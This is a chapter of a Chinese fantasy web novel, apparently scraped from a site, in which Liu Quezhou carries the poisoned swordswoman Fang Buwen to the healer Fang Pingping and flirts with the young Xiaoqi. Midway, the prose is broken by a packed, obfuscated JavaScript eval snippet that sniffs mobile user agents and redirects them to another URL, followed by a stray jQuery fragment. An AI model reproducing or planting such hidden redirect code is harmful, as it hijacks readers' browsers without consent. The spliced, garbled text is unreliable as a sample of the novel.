67. 天才姑娘

作品:《青妖

    那准备去报信的弟子刚转身便与一人迎头撞上,揉了揉前额后发现来人竟是方润阳。


    总算是来个了可说话的人,那弟子忙将方润阳从地上拉起来,“你快去劝劝,再打要出事啦!”


    方润阳被那铁头弟子撞得眼冒金星,脑子嗡鸣了好半晌才回过神来。


    他揉着额头跌跌撞撞走出人群后,抬眼便瞧见了那把锃亮的大刀,双腿不由自主地往后退了几步。


    他刚想开口让方不问将那刀收起来,身后飞来一鞭,缠住他的左腿将他拖倒在地。


    “你也是来送死的?”身后传来一清冷的女子声。


    方润阳拍着胸口心下自我劝慰道:不能生气不能生气,生气要出大事……


    他正要解开鞭子站起身来说话,却见头顶闪过一道锃亮的银光。


    那刀来得极快,方润阳只能瞥见是道银光闪过,可那大刀独特的破空声还是令方润阳的心一下提到了嗓子眼,登时浑身肌肉绷紧,头皮发麻。


    方润阳吓得呆若木鸡,围观弟子也瞬时倒吸一口凉气。


    白棠居静默片刻,方润阳感觉那缠住自己左腿的鞭子一松,他僵硬地扭头一看——是鞭子断了。


    “小……小不……刀……收起来……”


    方润阳手抖得跟筛子似的,伸到面前抹了把汗,接着又撑着地面哆哆嗦嗦站了起来。


    方不问拎着她那把大刀朝裹刀布走去,走至一半又转过身来朝对面问道:“还打吗?”


    对面的那些个紫衣女子绷着个脸,一语不发。


    待方不问拾起地上那条裹刀布,其中一个紫衣女子开口道:“你身中奇毒,想要解药……”


    “不用!”


    众人循声看去,只见方小七从人群里探出个脑袋,“瓶瓶师姐能解。不问师姐,跟我走。”


    方不问背着大刀,脚步蹒跚地朝小七走去。


    小七忙从人群出钻出来,跑到方不问身边想要搀扶她。


    柳却洲眼珠一转,收起折扇插在腰间,先于小七来到方不问跟前,“这位姑娘,你身中奇毒赶路不便,我送你回去罢。”


    方不问有些费力地抬起眼皮,大拇指指了指身侧,“滚开。”


    她话音刚落,整个人便失去意识往前栽去。


    柳却洲忙将她扶住,接着背过身去想要将她背起来,然稍一使力,他便皱起了眉头。


    他是见识过这把大刀的厉害,可没想到,这刀背在背上竟和山一样沉。


    这小女子到底是吃什么长大的?竟能单手拎起这刀。


    柳却洲正在心下埋怨着,眼角瞥见那瘦弱的美人儿正在一旁看着自己,立马改了脸色,微笑着咬紧牙关,一鼓作气将那似有泰山之重的一人一刀背了起来。


    方润阳看着柳却洲背上的方不问和大刀,顿时对他肃然起敬。


    “多谢这位少侠出手相助,我派两个人跟着……”


    “不用……”柳却洲双手绷得有些发抖,瞥了眼方润阳右手广袖上的绣样,面上维持着平和的微笑说道:“你让他们把刀卸下来就是了。”


    方润阳一愣,接着忙招呼身边的弟子帮着把方不问的大刀卸下来。


    与此同时,他在心里腹诽道:嘁——我还以为是什么世外高手呢,果然……


    大刀一卸,柳却洲的背一下便轻松了,他微微侧头冲小七道:“烦请姑娘带路。”


    看着小七领着人出了白棠居,方润阳这才松了一口气,转过身去想要同那几位紫霄山庄的女弟子赔礼道歉。


    然而那几位紫霄山庄的女弟子似乎都没他当回事儿,顾自收了兵器,而后带着那位受伤的女弟子回房去了。


    方润阳面色有些尴尬,不过他很快恢复神色,将仍驻留在院内的林下弟子轰了出去。


    “走走走,别老站在这儿,这是人姑娘家睡的地儿。”


    ……


    “请问姑娘芳名?”


    柳却洲背着方不问,望着跟前领路小美人儿的背影,出声问道。


    小七想了想,答道:“小天才。”


    柳却洲总觉着这名字莫名熟悉,像是在哪儿听过,沉吟片刻,蓦地抬头道:“你就是瀛洲岛上的那位马吊天才?”


    闻言,小七双眼一下亮了起来,顿住脚步等着他走到自己身边,“你知道我?”


    柳却洲见她方才还对自己爱答不理的,这会儿又一下来劲了,心下感叹小女子就是好诓。


    于是他故作恭敬地朝小七轻轻颔首:“久仰久仰。”


    小七听他如此说,一下便神气起来,心里说不出的高兴得意。


    她也不知该如何回应,于是昂首挺胸,神气活现地继续沿着栈道朝上走去。


    小女儿家,喜怒哀乐皆形于色,真是十分可爱。


    柳却洲越瞧她越觉着有趣欢喜,于是又道:“若有机会能和大名鼎鼎的马吊天才切磋一回,也算是不虚此行。”


    小七见这人对自己如此崇拜,心道:不曾想自己在瀛洲岛外已然是小有名气,自己可得装一下大家风范,免得让这人传出去说我小气。


    于是小七背着手点头应道:“好,你到时候把钱带够就行。”


    柳却洲笑得嘴角都快咧到耳后根了。


    这小女子实在好玩儿。


    他将方不问往上驮了驮,快步跟上小七。


    接着他便将小七从头到脚一顿夸一顿捧,从她的马吊技艺精绝天下再到她方才对抗紫霄山庄的女弟子时那令人敬佩的勇气,柳却洲的马屁小七是十分受用,个个都拍到了她的心坎上。


    眼瞧着两人的距离拉近了许多,这小美人儿对他也不似先前那样生分了,柳却洲目光狡黠,正准备转个话头继续搭讪,却看见那小美人儿往前小跑两步,手指着前方道:“到了,就是那里。”


    柳却洲往前一看,前面是个篱笆围作的小院,借着月光,依稀能看见里面有三四间土墙屋子。


    柳却洲松了口气。这里离枫树林已经很近了,他险些要以为这小美人儿是住在枫树林往上了。


    小七蹦跳着跑进院坝,“师姐!师姐!来救人!”


    小美人儿的师姐?


    柳却洲忙腾出只手来理了理衣冠,接着神色自然地背着方不问朝小院走去。


    方瓶瓶听见小七大喊,合了话本出了屋来,见小七身后还跟着一男子,那男子的穿着打扮明显是外门人士。


    方瓶瓶朝柳却洲努努嘴,“你把玄武门的人领来作甚?”


    柳却洲背着方不问走近后定睛一瞧,有些失望。


    柳却洲见过的女子没有上万也有成千了,这世上的许多女子,若不施粉黛,看上去也就与平常的剃须男子无异了。


    像面前这位,样貌平平,肤色蜡黄,再着身宽松的闲云野鹤袍,看上去就是个再普通不过的女修士了。


    再加之这位师姐不似其他的瀛洲弟子以黑纱逍遥巾束发,而是松垮地绾了发髻,发髻上簪了根木筷,倒还比其他的修行女弟子多了几分乡野村妇的味道。


    “师兄呢?”


    小七朝着门内探头探脑,心想:他平时不是最爱看热闹么?怎的这会儿不出来迎接自己。


    听见小七的声音,柳却洲的视线随之一转。


    还是小美人儿令人赏心悦目。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098744|190054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “在下玄武门柳却洲,遇贵门弟子受伤,故贸然前来叨扰,还望见谅。”


    柳却洲背着方不问行动不便,只得颔首示礼,低头时却瞥见了面前人右手广袖上的野鹤绣样。


    绣样并不繁复,而是寥寥几笔就勾勒出了野鹤的神韵。


    不同于柳却洲平日里见到的那些闲云野鹤袍,眼前这只用黑线勾勒出的野鹤,却是用银线点的睛。


    这位师姐竟是林上弟子!


    可她为何住在枫树林以下?


    柳却洲又转头去看那小美人儿的广袖,广袖上的野鹤分明只是用黑线点睛。


    正当柳却洲沉思之时,方瓶瓶抻着脖子看了看柳却洲身后,侧着身子让路道:“这边来。”


    “师兄呢?师兄哪儿去了?”小七追在方瓶瓶身后问道。


    方瓶瓶配合着柳却洲将方不问安置在小七的榻上,漫不经心道:“他听隔壁院的说花南台有人闹事,下山去看热闹了。”


    替方不问脱下鞋后,方瓶瓶抬眼看向小七,“闹事的该不会是你们吧?”


    听见此话,小七连忙摆手,而后指着榻上昏迷不醒的方不问道:“是她是她,她和紫霄山庄的打架来着。”


    柳却洲见那小美人儿甩锅甩得麻利,只轻轻摇头一笑,不发一语。


    方瓶瓶只看了方不问一眼,就大致知晓她中的是哪种毒,只是毒的剂量和毒发程度还需切脉察色。


    方瓶瓶一边切脉察色,一边开口问道:“你上山的时候没瞧见你师兄?”


    “没有。”小七老实答道。


    方瓶瓶刚想开口叮嘱什么,却留意到那外门男子还守在此处,于是淡淡出声道:“多谢少侠搭手相助,天色已晚,少侠还是快回花南台歇息罢。”


    柳却洲见这位师姐行医熟练,一脸老成,正想着她是不是就是传言中那位拜入瀛洲方氏门下修行的苍狼山名医张世景的外孙女,却突然见她开口撵人,也不好多说,准备拱手辞别。


    正要辞别之时,柳却洲眼珠一转,转了话锋道:“多谢姑娘好意。只是……这花南峰上风光迤逦,曲径通幽,在下怕是……记不得下山的路了。”


    方瓶瓶翻检着方不问的眼皮,头也不抬地对小七吩咐道:“送少侠下山。”


    “啊?”


    小七一想到自己送他下山后,还要再爬上山来,一脸的不情愿,心下埋怨:这人怎么这么笨!


    柳却洲面上故作歉然地朝小七拱手,“有劳天才姑娘了。”


    天才姑娘……


    方瓶瓶听着他这样板正斯文称呼小七,不免觉得好笑,然而面上还是神色如常走出门去配药。


    走在下山的路上,柳却洲瞧小美人儿一脸的闷闷不乐,心想方才拍的马屁岂不是白费了?


    于是他又找了个由头试着同小七搭话。


    小七却想,方才上山时定是自己同他闲聊使他分了神,这才致使他没有留意到下山的路,这会儿他竟又在自己耳边滔滔不绝,真是不长记性。


    于是小七开口打断他:“你记一下路——看,方才我们是从那里走过来的。”


    柳却洲见小美人儿对他一脸的埋怨,觉得这般下去恐会适得其反,于是道:“我已瞧见前方下山的栈道,姑娘便送到此处罢,有劳天才姑娘。”


    小七一听不用陪他下栈道,心里一下松快起来,脸上登时便有笑容浮现,“告辞告辞……”


    谁料柳却洲伸手拦住她,“姑娘且慢。”


    “你还有什么事啊?”小七回过头来望着他。


    柳却洲神秘一笑:“在下想赠姑娘薄礼一份,聊表谢意。”